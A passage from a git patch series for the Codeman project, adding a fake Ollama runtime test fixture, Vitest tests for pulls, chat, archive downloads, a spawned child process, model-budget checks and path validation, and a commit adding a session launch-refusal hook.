+ port = (created.address() as AddressInfo).port; + } + + async function close(): Promise<void> { + const closing = server; + if (!closing) return; + server = undefined; + port = 0; + for (const socket of sockets) socket.destroy(); + await new Promise<void>((resolve) => closing.close(() => resolve())); + } + + function spawn(command: string, args: readonly string[], spawnOptions: SpawnOptions): ChildProcess { + const env = (spawnOptions.env ?? {}) as NodeJS.ProcessEnv; + const child = new FakeRuntimeChild(nextPid++, command, args, env, close); + state.children.push(child); + const wanted = Number(/:(\d+)$/.exec(env.OLLAMA_HOST ?? '')?.[1] ?? 0); + const sw = switches.spawn; + void (async () => { + // A real child reports nothing before the next turn of the event loop either. + await sleep(0); + if (sw.exitsAtOnce !== undefined) { + child.stderr.write('Error: listen tcp 127.0.0.1: bind: address already in use\n'); + child.crash(sw.exitsAtOnce); + return; + } + if (!sw.neverListens) { + try { + await listen(wanted); + } catch { + child.stderr.write(`Error: listen tcp 127.0.0.1:${wanted}: bind: address already in use\n`); + child.crash(1); + return; + } + } + for (const text of fakeRuntimeLog(sw.total, wanted)) { + if (!sw.logsBudget && text.includes('msg="inference compute"')) continue; + child.stderr.write(text + '\n'); + } + })(); + return child as unknown as ChildProcess; + } + + return { + get baseUrl() { + return server ? `http://127.0.0.1:${port}` : ''; + }, + get port() { + return port; + }, + get listening() { + return server !== undefined; + }, + requests, + switches, + model, + state, + archive, + pin: () => ({ + id: 'ollama', + version, + url: `http://127.0.0.1:${port}/download/ollama-darwin.tgz`, + bytes: archive.size, + sha256: archive.sha256, + unpackedBytes: 4096, + minMacosMajor: 14, + }), + listen, + close, + spawn, + }; +} + +/** A fake that listens on a port the system picked. Close it in `afterEach`. */ +export async function startFakeOllama(options: FakeOllamaOptions = {}): Promise<FakeOllama> { + const fake = createFakeOllama(options); + await fake.listen(0); + return fake; +} diff --git a/test/local-model-fake-ollama.test.ts b/test/local-model-fake-ollama.test.ts new file mode 100644 index 00000000..35440acd --- /dev/null +++ b/test/local-model-fake-ollama.test.ts @@ -0,0 +1,428 @@ +/** + * @fileoverview Tests for test/fixtures/fake-ollama.ts, the fake model runtime every local + * model test runs against. A fake that answers in the wrong shape makes every test built on + * it prove nothing, so this file pins each answer and each switch once. + * + * It also shows how the fake is used: `startFakeOllama()` for a client test, and + * `createFakeOllama()` plus `fake.spawn` and `freeLoopbackPort()` for a supervisor test. + * + * Port: none fixed (the fake listens on 0; the spawn test reserves a free port first). + */ + +import { execFile } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { mkdtemp, readFile, rm, stat, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { promisify } from 'node:util'; +import { afterEach, describe, expect, it } from 'vitest'; +import { + buildFakeArchive, + createFakeOllama, + DEFAULT_FAKE_MODEL, + fakeRuntimeLog, + FakeRuntimeChild, + freeLoopbackPort, + MACBOOK_MEASURED_TOTAL_BYTES, + REAL_INFERENCE_COMPUTE_LINE_MAC_MINI, + REAL_INFERENCE_COMPUTE_LINE_MACBOOK, + REAL_PULL_ERROR_LINE, + startFakeOllama, + type FakeOllama, +} from './fixtures/fake-ollama.js'; + +const execFileAsync = promisify(execFile); + +let fake: FakeOllama | undefined; + +afterEach(async () => { + await fake?.close(); + fake = undefined; +}); + +/** Every line of a pull, parsed. `cut` is true when the body ended in an error instead of a clean end. */ +async function pull(target: FakeOllama, modelId = DEFAULT_FAKE_MODEL.id): Promise<{ lines: any[]; cut: boolean }> { + const res = await fetch(`${target.baseUrl}/api/pull`, { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: JSON.stringify({ model: modelId, stream: true }), + }); + let text = ''; + let cut = false; + const decoder = new TextDecoder(); + try { + for await (const chunk of res.body as unknown as AsyncIterable<Uint8Array>) { + text += decoder.decode(chunk, { stream: true }); + } + } catch { + cut = true; + } + const lines = text + .split('\n') + .filter((line) => line.trim() !== '') + .map((line) => JSON.parse(line)); + return { lines, cut }; +} + +async function getJson(target: FakeOllama, path: string): Promise<any> { + return (await fetch(`${target.baseUrl}${path}`)).json(); +} + +async function chat(target: FakeOllama, body: Record<string, unknown>): Promise<{ status: number; json: any }> { + const res = await fetch(`${target.baseUrl}/v1/chat/completions`, { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id, messages: [{ role: 'user', content: 'ping' }], ...body }), + }); + return { status: res.status, json: await res.json() }; +} + +const TOOLS = [ + { + type: 'function', + function: { + name: 'read_file', + description: 'Read a file', + parameters: { type: 'object', properties: { path: { type: 'string' } }, required: ['path'] }, + }, + }, +]; + +describe('the fake runtime: listings', () => { + it('answers the version and an empty store in the real shapes', async () => { + fake = await startFakeOllama(); + expect(fake.port).toBeGreaterThan(0); + expect(await (await fetch(`${fake.baseUrl}/`)).text()).toBe('Ollama is running'); + expect(await getJson(fake, '/api/version')).toEqual({ version: '0.40.15' }); + expect(await getJson(fake, '/api/tags')).toEqual({ models: [] }); + expect(await getJson(fake, '/api/ps')).toEqual({ models: [] }); + // The real runtime answers `data: null`, not an empty list, when it has no model. + expect(await getJson(fake, '/v1/models')).toEqual({ object: 'list', data: null }); + }); + + it('lists an installed model with the digest, format and runner a Mac reports', async () => { + fake = await startFakeOllama({ installed: true }); + const tags = await getJson(fake, '/api/tags'); + expect(tags.models).toHaveLength(1); + expect(tags.models[0]).toMatchObject({ + name: 'qwen3.6:35b-a3b', + size: 23_105_798_956, + digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba', + details: { format: 'safetensors', quantization_level: 'nvfp4', runner: 'mlx' }, + capabilities: ['completion', 'vision', 'tools', 'thinking'], + }); + expect((await getJson(fake, '/v1/models')).data.map((m: { id: string }) => m.id)).toEqual(['qwen3.6:35b-a3b']); + }); + + it('records every request with its parsed body', async () => { + fake = await startFakeOllama({ installed: true }); + await chat(fake, { reasoning_effort: 'none', max_tokens: 16 }); + expect(fake.requests.at(-1)).toMatchObject({ + method: 'POST', + path: '/v1/chat/completions', + body: { model: 'qwen3.6:35b-a3b', reasoning_effort: 'none', max_tokens: 16 }, + }); + }); +}); + +describe('the fake runtime: pull', () => { + it('streams the MLX line shape of a Mac and installs the model', async () => { + fake = await startFakeOllama({ pull: { progressLines: 4 } }); + const { lines, cut } = await pull(fake); + expect(cut).toBe(false); + expect(lines[0]).toEqual({ status: 'pulling manifest' }); + expect(lines[1]).toEqual({ status: 'pulling model', digest: 'sha256:model', total: 23_105_798_956, completed: 0 }); + expect(lines.slice(-3)).toEqual([ + { status: 'pulling model', digest: 'sha256:model', total: 23_105_798_956, completed: 23_105_798_956 }, + { status: 'writing manifest' }, + { status: 'success' }, + ]); + const completed = lines.filter((l) => l.status === 'pulling model').map((l) => l.completed); + expect(completed).toEqual([...completed].sort((a, b) => a - b)); + expect(fake.state.installed).toBe(true); + expect((await getJson(fake, '/api/tags')).models).toHaveLength(1); + }); + + it('streams as many progress lines as asked for', async () => { + fake = await startFakeOllama({ pull: { progressLines: 5000 } }); + const { lines } = await pull(fake); + expect(lines.filter((l) => l.status === 'pulling model')).toHaveLength(5001); + }); + + it('streams the GGUF shape: layers that announce themselves, then the digest check', async () => { + fake = await startFakeOllama({ pull: { shape: 'gguf', progressLines: 2 } }); + const { lines } = await pull(fake); + const large = `sha256:${DEFAULT_FAKE_MODEL.digest}`; + // The first line of a layer has no `completed`. + expect(lines[1]).toEqual({ status: 'pulling 0ce5ff81f9ff', digest: large, total: 23_105_798_956 - 13_383 }); + expect(lines.map((l) => l.status).slice(-3)).toEqual(['verifying sha256 digest', 'writing manifest', 'success']); + // The totals of all layers add up to the model. + const totals = new Map<string, number>(); + for (const l of lines) if (l.digest) totals.set(l.digest, l.total); + expect([...totals.values()].reduce((a, b) => a + b, 0)).toBe(23_105_798_956); + }); + + it('ends on the real error line, then resumes where it stopped and succeeds', async () => { + fake = await startFakeOllama({ pull: { fail: 'error-line', failAfterLines: 3, failTimes: 1, progressLines: 6 } }); + const first = await pull(fake); + expect(first.cut).toBe(false); + expect(JSON.stringify(first.lines.at(-1))).toBe(REAL_PULL_ERROR_LINE); + expect(first.lines.some((l) => l.status === 'success')).toBe(false); + expect(fake.state.installed).toBe(false); + const reached = fake.state.completedBytes; + expect(reached).toBeGreaterThan(0); + + const second = await pull(fake); + // A resumed pull's first progress line starts at what is already on disk. + expect(second.lines[1].completed).toBe(reached); + expect(second.lines.at(-1)).toEqual({ status: 'success' }); + expect(fake.state.pulls).toBe(2); + }); + + it('cuts the stream without a last line', async () => { + fake = await startFakeOllama({ pull: { fail: 'cut', failAfterLines: 2 } }); + const { lines, cut } = await pull(fake); + expect(cut).toBe(true); + expect(lines.some((l) => l.status === 'success' || l.error)).toBe(false); + expect(fake.state.installed).toBe(false); + }); + + it('starts a first pull at resumeFrom', async () => { + fake = await startFakeOllama({ pull: { resumeFrom: 197_411_434, progressLines: 2 } }); + const { lines } = await pull(fake); + expect(lines[1].completed).toBe(197_411_434); + }); + + it('says so when the registry has no such model', async () => { + fake = await startFakeOllama(); + const unknown = await pull(fake, 'no-such:1b'); + expect(unknown.lines.at(-1)).toEqual({ error: 'pull model manifest: file does not exist' }); + fake.switches.pull.fail = 'not-found'; + expect((await pull(fake)).lines.at(-1)).toEqual({ error: 'pull model manifest: file does not exist' }); + }); + + it('stops sending when the client aborts, and remembers how far it got', async () => { + fake = await startFakeOllama({ pull: { progressLines: 200, lineDelayMs: 5 } }); + const controller = new AbortController(); + const res = await fetch(`${fake.baseUrl}/api/pull`, { + method: 'POST', + body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id, stream: true }), + signal: controller.signal, + }); + const reader = res.body!.getReader(); + await reader.read(); + controller.abort(); + await reader.read().catch(() => undefined); + await new Promise((resolve) => setTimeout(resolve, 50)); + const reached = fake.state.completedBytes; + expect(fake.state.installed).toBe(false); + expect(reached).toBeLessThan(23_105_798_956); + await new Promise((resolve) => setTimeout(resolve, 50)); + expect(fake.state.completedBytes).toBe(reached); + }); + + it('deletes the model', async () => { + fake = await startFakeOllama({ installed: true }); + const del = (): Promise<Response> => + fetch(`${fake!.baseUrl}/api/delete`, { + method: 'DELETE', + body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id }), + }); + expect((await del()).status).toBe(200); + expect(fake.state.installed).toBe(false); + expect((await del()).status).toBe(404); + }); +}); + +describe('the fake runtime: chat, the process list and the tool probe', () => { + it('answers a plain chat and lists the model as loaded, all on the GPU', async () => { + fake = await startFakeOllama({ installed: true }); + expect((await getJson(fake, '/api/ps')).models).toEqual([]); + const { status, json } = await chat(fake, { reasoning_effort: 'none' }); + expect(status).toBe(200); + expect(json.choices[0]).toEqual({ + index: 0, + message: { role: 'assistant', content: 'pong' }, + finish_reason: 'stop', + }); + const [loaded] = (await getJson(fake, '/api/ps')).models; + expect(loaded).toMatchObject({ name: 'qwen3.6:35b-a3b', context_length: 131072, runner: 'mlx' }); + expect(loaded.size_vram).toBe(loaded.size); + }); + + it('can report a model that is partly off the GPU, or loaded at another context', async () => { + fake = await startFakeOllama({ installed: true, ps: { size: 30e9, sizeVram: 20e9 } }); + await chat(fake, {}); + expect((await getJson(fake, '/api/ps')).models[0]).toMatchObject({ size: 30e9, size_vram: 20e9 }); + fake.switches.ps = { contextLength: 32768 }; + expect((await getJson(fake, '/api/ps')).models[0].context_length).toBe(32768); + fake.switches.ps = { loaded: false }; + expect((await getJson(fake, '/api/ps')).models).toEqual([]); + }); + + it('answers 404 in the real error shape for a model it does not have', async () => { + fake = await startFakeOllama(); + const { status, json } = await chat(fake, {}); + expect(status).toBe(404); + expect(json).toEqual({ + error: { message: "model 'qwen3.6:35b-a3b' not found", type: 'not_found_error', param: null, code: null }, + }); + }); + + it('can fail the chat that loads the model', async () => { + fake = await startFakeOllama({ installed: true, chat: 'error' }); + expect((await chat(fake, {})).status).toBe(500); + expect((await getJson(fake, '/api/ps')).models).toEqual([]); + }); + + it('calls the tool it was given, with arguments that parse', async () => { + fake = await startFakeOllama({ installed: true }); + const { json } = await chat(fake, { tools: TOOLS, reasoning_effort: 'none', max_tokens: 1024 }); + const choice = json.choices[0]; + expect(choice.finish_reason).toBe('tool_calls'); + expect(choice.message.tool_calls).toHaveLength(1); + expect(choice.message.tool_calls[0]).toMatchObject({ type: 'function', function: { name: 'read_file' } }); + expect(JSON.parse(choice.message.tool_calls[0].function.arguments)).toEqual({ path: 'README.md' }); + }); + + it('can answer without a tool call, run into the token limit, or send arguments that do not parse', async () => { + fake = await startFakeOllama({ installed: true, tool: 'none' }); + let choice = (await chat(fake, { tools: TOOLS })).json.choices[0]; + expect(choice.finish_reason).toBe('stop'); + expect(choice.message.tool_calls).toBeUndefined(); + + fake.switches.tool = 'length'; + choice = (await chat(fake, { tools: TOOLS })).json.choices[0]; + expect(choice.finish_reason).toBe('length'); + expect(choice.message.content).toBe(''); + expect(choice.message.tool_calls).toBeUndefined(); + + fake.switches.tool = 'bad-arguments'; + choice = (await chat(fake, { tools: TOOLS })).json.choices[0]; + expect(() => JSON.parse(choice.message.tool_calls[0].function.arguments)).toThrow(); + }); +}); + +describe('the fake runtime: the archive', () => { + it('serves an archive whose size and hash are the pin it hands out', async () => { + fake = await startFakeOllama(); + const pin = fake.pin(); + expect(pin.url).toBe(`${fake.baseUrl}/download/ollama-darwin.tgz`); + const res = await fetch(pin.url); + const body = Buffer.from(await res.arrayBuffer()); + expect(res.status).toBe(200); + expect(body.length).toBe(pin.bytes); + expect(createHash('sha256').update(body).digest('hex')).toBe(pin.sha256); + }); + + it('continues from a Range request', async () => { + fake = await startFakeOllama(); + const res = await fetch(fake.pin().url, { headers: { range: 'bytes=10-' } }); + expect(res.status).toBe(206); + expect(res.headers.get('content-range')).toBe(`bytes 10-${fake.archive.size - 1}/${fake.archive.size}`); + expect(Buffer.from(await res.arrayBuffer()).equals(fake.archive.body.subarray(10))).toBe(true); + expect((await fetch(fake.pin().url, { headers: { range: `bytes=${fake.archive.size}-` } })).status).toBe(416); + }); + + it('cuts the body the first time only, so a Range request can finish it', async () => { + fake = await startFakeOllama({ archive: { cutAfterBytes: 20 } }); + const first = await fetch(fake.pin().url); + const got: Buffer[] = []; + await (async () => { + for await (const chunk of first.body as unknown as AsyncIterable<Uint8Array>) got.push(Buffer.from(chunk)); + })().catch(() => undefined); + const head = Buffer.concat(got); + expect(head.length).toBe(20); + const rest = await fetch(fake.pin().url, { headers: { range: 'bytes=20-' } }); + const whole = Buffer.concat([head, Buffer.from(await rest.arrayBuffer())]); + expect(createHash('sha256').update(whole).digest('hex')).toBe(fake.archive.sha256); + expect(fake.state.archiveRequests).toBe(2); + }); + + it('can ignore Range, or answer another status', async () => { + fake = await startFakeOllama({ archive: { ignoreRange: true } }); + expect((await fetch(fake.pin().url, { headers: { range: 'bytes=10-' } })).status).toBe(200); + fake.switches.archive.status = 503; + expect((await fetch(fake.pin().url)).status).toBe(503); + }); + + it('is a real archive that tar unpacks to an executable', async () => { + const dir = await mkdtemp(join(tmpdir(), 'fake-ollama-archive-')); + try { + const archive = join(dir, 'runtime.tgz'); + await writeFile(archive, buildFakeArchive({ ollama: '#!/bin/sh\necho hello\n', LICENSE: 'text\n' })); + await execFileAsync('tar', ['-xzf', archive, '-C', dir]); + expect(await readFile(join(dir, 'LICENSE'), 'utf8')).toBe('text\n'); + expect((await stat(join(dir, 'ollama'))).mode & 0o111).not.toBe(0); + expect((await execFileAsync(join(dir, 'ollama'))).stdout).toBe('hello\n'); + } finally { + await rm(dir, { recursive: true, force: true }); + } + }); +}); + +describe('the fake runtime: the child process', () => { + it('holds the real log lines with the device total', () => { + expect(REAL_INFERENCE_COMPUTE_LINE_MAC_MINI).toContain('total="11.8 GiB" available="11.8 GiB"'); + expect(REAL_INFERENCE_COMPUTE_LINE_MACBOOK).toContain('total="37.4 GiB" available="37.4 GiB"'); + expect(MACBOOK_MEASURED_TOTAL_BYTES).toBe(Math.floor(37.4 * 1024 ** 3)); + expect(fakeRuntimeLog('37.4 GiB')[2]).toContain('msg="inference compute"'); + }); + + it('listens on the port of OLLAMA_HOST once spawned, logs the budget, and is gone when killed', async () => { + const port = await freeLoopbackPort(); + fake = createFakeOllama({ installed: true }); + expect(fake.listening).toBe(false); + + const child = fake.spawn('/somewhere/ollama', ['serve'], { + env: { OLLAMA_HOST: `127.0.0.1:${port}`, HOME: '/private/home' }, + }) as unknown as FakeRuntimeChild; + let log = ''; + child.stderr.on('data', (chunk: Buffer) => (log += chunk.toString('utf8'))); + await new Promise((resolve) => setTimeout(resolve, 50)); + + expect(child.pid).toBeGreaterThan(4_194_304); + expect(child.env.HOME).toBe('/private/home'); + expect(fake.port).toBe(port); + expect(await getJson(fake, '/api/version')).toEqual({ version: '0.40.15' }); + expect(log).toContain('msg="inference compute"'); + expect(log).toContain('total="37.4 GiB"'); + + const exited = new Promise<[number | null, string | null]>((resolve) => + child.once('exit', (code, signal) => resolve([code, signal])) + ); + expect(child.kill('SIGTERM')).toBe(true); + expect(await exited).toEqual([null, 'SIGTERM']); + expect(fake.listening).toBe(false); + await expect(fetch(`http://127.0.0.1:${port}/api/version`)).rejects.toThrow(); + expect(fake.state.children).toEqual([child]); + }); + + it('can start without ever listening, exit at once, leave the budget out, or crash later', async () => { + const port = await freeLoopbackPort(); + const env = { OLLAMA_HOST: `127.0.0.1:${port}` }; + + fake = createFakeOllama({ spawn: { neverListens: true, logsBudget: false } }); + const silent = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild; + let log = ''; + silent.stderr.on('data', (chunk: Buffer) => (log += chunk.toString('utf8'))); + await new Promise((resolve) => setTimeout(resolve, 30)); + expect(fake.listening).toBe(false); + expect(log).toContain('Listening on'); + expect(log).not.toContain('inference compute'); + + fake.switches.spawn = { neverListens: false, exitsAtOnce: 2, total: '37.4 GiB', logsBudget: true }; + const dead = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild; + const code = await new Promise((resolve) => dead.once('exit', resolve)); + expect(code).toBe(2); + + fake.switches.spawn.exitsAtOnce = undefined; + const alive = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild; + await new Promise((resolve) => setTimeout(resolve, 30)); + expect(fake.listening).toBe(true); + const crashed = new Promise((resolve) => alive.once('exit', resolve)); + alive.crash(137); + expect(await crashed).toBe(137); + expect(fake.listening).toBe(false); + }); +}); diff --git a/test/local-model-fits-budget.test.ts b/test/local-model-fits-budget.test.ts new file mode 100644 index 00000000..5ae2ff98 --- /dev/null +++ b/test/local-model-fits-budget.test.ts @@ -0,0 +1,90 @@ +/** + * @fileoverview Tests for `modelFitsBudget()` of src/local-model/recommend.ts: the judgement + * the install job makes before it downloads a model. + * + * Pinned: it agrees with what `recommend()` offers (a model that is the pick or listed fits, + * a model that is in neither and is not left out for its rank does not), it does not depend + * on the ranking, and a model the catalogue does not have never fits. + * + * Port: N/A (pure functions). + */ + +import { describe, expect, it } from 'vitest'; +import { getLocalModelCatalog } from '../src/config/local-model-catalog.js'; +import { formatGb, memClassGb } from '../src/local-model/format.js'; +import { modelFitsBudget, recommend } from '../src/local-model/recommend.js'; +import type { HardwareFacts, HarnessFact } from '../src/types.js'; + +/** A Mac with Apple silicon and `gb` GB of memory as sold. */ +function mac(gb: number, chip = 'Apple M5 Pro'): HardwareFacts { + const memBytes = gb * 1024 ** 3; + return { + platform: 'darwin', + arch: 'arm64', + arm64: true, + translated: false, + memBytes, + memGb: formatGb(memBytes), + memClassGb: memClassGb(memBytes), + chip, + macosMajor: 27, + macosVersion: '27.2', + wiredLimitMb: 0, + source: 'sysctl', + }; +} + +/** Every harness of the catalogue, installed and accepting every model id. */ +function harnessFacts(): HarnessFact[] { + return getLocalModelCatalog().harnesses.map((row) => ({ + cli: row.cli, + label: row.cli, + installed: true, + installable: false, + acceptsModelId: () => true, + })); +} + +describe('modelFitsBudget', () => { + const catalog = getLocalModelCatalog(); + + it('agrees with the recommendation on every model and context of the catalogue', () => { + for (const gb of [8, 16, 24, 32, 48, 64, 128]) { + const hw = mac(gb); + const offered = recommend(hw, catalog, harnessFacts()); + const rows = [offered.pick, ...offered.alternatives].filter((row) => row !== undefined); + // Whatever the recommendation offers fits at the context it offers it at. + for (const row of rows) { + expect(modelFitsBudget(hw, catalog, row.modelId, row.context), `${gb} GB ${row.modelId}`).toBe(true); + } + // A Mac that gets no recommendation for lack of memory has no model that fits at a + // context a harness works at. + if (offered.verdict === 'none') { + const smallestHarnessContext = Math.min(...catalog.harnesses.filter((h) => !h.gated).map((h) => h.minContext)); + for (const model of catalog.models) { + for (const context of model.contexts.filter((ctx) => ctx >= smallestHarnessContext)) { + expect(modelFitsBudget(hw, catalog, model.id, context), `${gb} GB ${model.id}`).toBe(false); + } + } + } + } + }); + + it('does not depend on the ranking: a model that fits and is listed nowhere still fits', () => { + // On a 128 GB Mac more models fit than the recommendation lists. + const hw = mac(128, 'Apple M5 Max'); + const offered = recommend(hw, catalog, harnessFacts()); + const listed = new Set([offered.pick, ...offered.alternatives].map((row) => row?.modelId)); + const unlisted = catalog.models.filter((model) => !listed.has(model.id)); + expect(unlisted.length).toBeGreaterThan(0); + for (const model of unlisted) { + expect(modelFitsBudget(hw, catalog, model.id, model.contexts.at(-1) as number), model.id).toBe(true); + } + }); + + it('rules out a model that is too large, and one the catalogue does not have', () => { + expect(modelFitsBudget(mac(48), catalog, 'qwen3.5:122b-a10b', 131072)).toBe(false); + expect(modelFitsBudget(mac(48), catalog, 'no-such:1b', 65536)).toBe(false); + expect(modelFitsBudget(mac(48), catalog, 'qwen3.6:35b-a3b', 131072)).toBe(true); + }); +}); diff --git a/test/local-model-paths.test.ts b/test/local-model-paths.test.ts new file mode 100644 index 00000000..c6130a92 --- /dev/null +++ b/test/local-model-paths.test.ts @@ -0,0 +1,70 @@ +/** + * @fileoverview Tests for src/local-model/paths.ts: where the local model lives on disk. + * + * Pinned: every path sits under the data dir (so a second Codeman instance has its own), + * everything but the state file sits inside the one folder uninstall owns, a version string + * can never add a path segment, and the inside-the-folder check resolves `..` first. + * + * Port: N/A (pure functions; the data dir is the temp HOME test/setup.ts gives each file). + */ + +import { join } from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { getDataDir } from '../src/config/instance.js'; +import { isInsideLocalModelRoot, localModelPaths } from '../src/local-model/paths.js'; + +describe('localModelPaths', () => { + it('builds every path from the data dir', () => { + const data = getDataDir(); + expect(localModelPaths('0.40.15')).toEqual({ + root: join(data, 'local-model'), + runtimeRoot: join(data, 'local-model', 'runtime'), + runtimeDir: join(data, 'local-model', 'runtime', 'ollama-0.40.15'), + binary: join(data, 'local-model', 'runtime', 'ollama-0.40.15', 'ollama'), + archivePartial: join(data, 'local-model', 'runtime', 'ollama-0.40.15.tgz.partial'), + unpackDir: join(data, 'local-model', 'runtime', 'ollama-0.40.15.unpack'), + modelsDir: join(data, 'local-model', 'models'), + homeDir: join(data, 'local-model', 'home'), + stateFile: join(data, 'local-model.json'), + }); + }); + + it('keeps everything but the state file inside the one folder', () => { + const paths = localModelPaths('0.40.15'); + const { root, stateFile, ...inside } = paths; + for (const path of Object.values(inside)) expect(isInsideLocalModelRoot(path, root)).toBe(true); + expect(isInsideLocalModelRoot(root, root)).toBe(true); + expect(isInsideLocalModelRoot(stateFile, root)).toBe(false); + }); + + it('refuses a version that is not digits and dots', () => { + for (const version of ['', '0', '../x', '0.40.15/..', '0.40.15-rc1', 'v0.40.15', '0..1', '1.2.3.4.5']) { + expect(() => localModelPaths(version)).toThrow(/Not a runtime version/); + } + expect(() => localModelPaths('1.2')).not.toThrow(); + expect(() => localModelPaths('1.2.3.4')).not.toThrow(); + }); +}); + +describe('isInsideLocalModelRoot', () => { + const root = '/data/local-model'; + + it('accepts the folder and what lies in it', () => { + expect(isInsideLocalModelRoot('/data/local-model', root)).toBe(true); + expect(isInsideLocalModelRoot('/data/local-model/', root)).toBe(true); + expect(isInsideLocalModelRoot('/data/local-model/models/blobs/x', root)).toBe(true); + }); + + it('refuses a sibling, a parent and a path that climbs out', () => { + expect(isInsideLocalModelRoot('/data/local-model.json', root)).toBe(false); + expect(isInsideLocalModelRoot('/data/local-model-2/x', root)).toBe(false); + expect(isInsideLocalModelRoot('/data', root)).toBe(false); + expect(isInsideLocalModelRoot('/data/local-model/../settings.json', root)).toBe(false); + expect(isInsideLocalModelRoot('/data/local-model/models/../../../etc', root)).toBe(false); + }); + + it('defaults to the folder under the data dir', () => { + expect(isInsideLocalModelRoot(join(getDataDir(), 'local-model', 'home'))).toBe(true); + expect(isInsideLocalModelRoot(join(getDataDir(), 'settings.json'))).toBe(false); + }); +}); From 84c10174878f4828632cc968e1b9c0fe81d9d1c4 Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 20:23:58 +0100 Subject: [PATCH 10/28] feat(local-model): the launch refusal hook, and an honest name for a rebuilt log line - `LocalModelService.launchRefusal(endpointId)`: what a session launch asks before it starts on the managed endpoint. It answers the error that refuses the launch (the runtime child is not alive, another program holds the port, the runtime keeps stopping, the model's digest changed) or nothing. New error code `runtime-not-running` with its sentence, for a runtime the person stopped: only a refused session start says it. - The fake runtime's MacBook log line is rebuilt from the two values the measurement notes quote, so it is `INFERENCE_COMPUTE_LINE_MACBOOK` now. Only the Mac mini line is a verbatim capture and keeps `REAL_`. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- src/local-model/install-job.ts | 11 +++++++++++ src/types/local-model-install.ts | 6 ++++++ test/fixtures/fake-ollama.ts | 10 +++++----- test/local-model-fake-ollama.test.ts | 4 ++-- 4 files changed, 24 insertions(+), 7 deletions(-) diff --git a/src/local-model/install-job.ts b/src/local-model/install-job.ts index 44098e9b..b518836a 100644 --- a/src/local-model/install-job.ts +++ b/src/local-model/install-job.ts @@ -84,6 +84,7 @@ import type { LocalModelConflict, LocalModelDeveloperTools, LocalModelErrorCode, + LocalModelInstallError, LocalModelInstallRequest, LocalModelInstallState, LocalModelInstallStep, @@ -458,6 +459,16 @@ export interface LocalModelServiceDeps { export interface LocalModelService { /** The `install` object of the GET. Never throws. */ view(): Promise<LocalModelInstallView>; + /** + * Whether a session may be started on the saved endpoint `endpointId` right now. `undefined`: + * yes, which is also the answer for every endpoint that is not this feature's. Otherwise the + * error that refuses the launch, in this order: `runtime-not-running` (the runtime child + * Codeman started is not alive, so whatever answers on the port is not ours), + * `port-in-use`, `runtime-stopped`, `model-changed` (the digest is read again and is not the + * stored one). The session launch path asks this before it starts a session with the + * managed endpoint, and `boot()` asks it once. Never throws. + */ + launchRefusal(endpointId: string): Promise<LocalModelInstallError | undefined>; /** What the GET passes to `recommend()`: the stored measured total and the runtime download that is still needed. */ recommendOptions(): Promise<RecommendOptions>; /** `POST /api/local-model/install`. Answers once the job is STARTED; the job runs on in the server. */ diff --git a/src/types/local-model-install.ts b/src/types/local-model-install.ts index 5d625d7a..d964e53a 100644 --- a/src/types/local-model-install.ts +++ b/src/types/local-model-install.ts @@ -116,6 +116,8 @@ export const LOCAL_MODEL_INSTALL_STEPS: readonly LocalModelInstallStep[] = [ * | `runtime-unpack-failed` | `/usr/bin/tar` failed | * | `runtime-start-failed` | the runtime was started and never answered `/api/version` | * | `runtime-stopped` | installed: the runtime crashed and was restarted 3 times, then given up | + * | `runtime-not-running` | installed: the runtime is not running (the person stopped it). Only a | + * | | refused session start says it; the view shows no error for a stopped runtime | * | `port-in-use` | another program listens on the stored port, or no port of the span is free | * | `disk-full` | a write failed for lack of space | * | `pull-failed` | the pull still ends on an error line or a cut stream after its retries | @@ -137,6 +139,7 @@ export type LocalModelErrorCode = | 'runtime-unpack-failed' | 'runtime-start-failed' | 'runtime-stopped' + | 'runtime-not-running' | 'port-in-use' | 'disk-full' | 'pull-failed' @@ -218,6 +221,7 @@ export const LOCAL_MODEL_INSTALL_LABELS = { errRuntimeUnpackFailed: 'The runtime could not be unpacked on this Mac.', errRuntimeStartFailed: 'The runtime did not start on this Mac.', errRuntimeStopped: 'The runtime keeps stopping, so Codeman no longer restarts it.', + errRuntimeNotRunning: 'The model on this Mac is not running. Start it first.', errPortInUse: 'Port {port} is in use by another program.', errDiskFull: 'The disk is full. Free up space, then try again.', errPullFailed: 'The download keeps stopping. The network may be damaging data. Try again or use another network.', @@ -259,6 +263,7 @@ export const LOCAL_MODEL_ERROR_LABELS: Record<LocalModelErrorCode, LocalModelIns 'runtime-unpack-failed': LOCAL_MODEL_INSTALL_LABELS.errRuntimeUnpackFailed, 'runtime-start-failed': LOCAL_MODEL_INSTALL_LABELS.errRuntimeStartFailed, 'runtime-stopped': LOCAL_MODEL_INSTALL_LABELS.errRuntimeStopped, + 'runtime-not-running': LOCAL_MODEL_INSTALL_LABELS.errRuntimeNotRunning, 'port-in-use': LOCAL_MODEL_INSTALL_LABELS.errPortInUse, 'disk-full': LOCAL_MODEL_INSTALL_LABELS.errDiskFull, 'pull-failed': LOCAL_MODEL_INSTALL_LABELS.errPullFailed, @@ -282,6 +287,7 @@ export const LOCAL_MODEL_ERROR_NEXT: Record<LocalModelErrorCode, LocalModelNextS 'runtime-unpack-failed': 'retry', 'runtime-start-failed': 'retry', 'runtime-stopped': 'start', + 'runtime-not-running': 'start', 'port-in-use': 'other-port', 'disk-full': 'retry', 'pull-failed': 'retry', diff --git a/test/fixtures/fake-ollama.ts b/test/fixtures/fake-ollama.ts index fa680ea7..3b889027 100644 --- a/test/fixtures/fake-ollama.ts +++ b/test/fixtures/fake-ollama.ts @@ -67,12 +67,12 @@ export const REAL_INFERENCE_COMPUTE_LINE_MAC_MINI = 'time=2026-11-06T13:21:49.885+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal 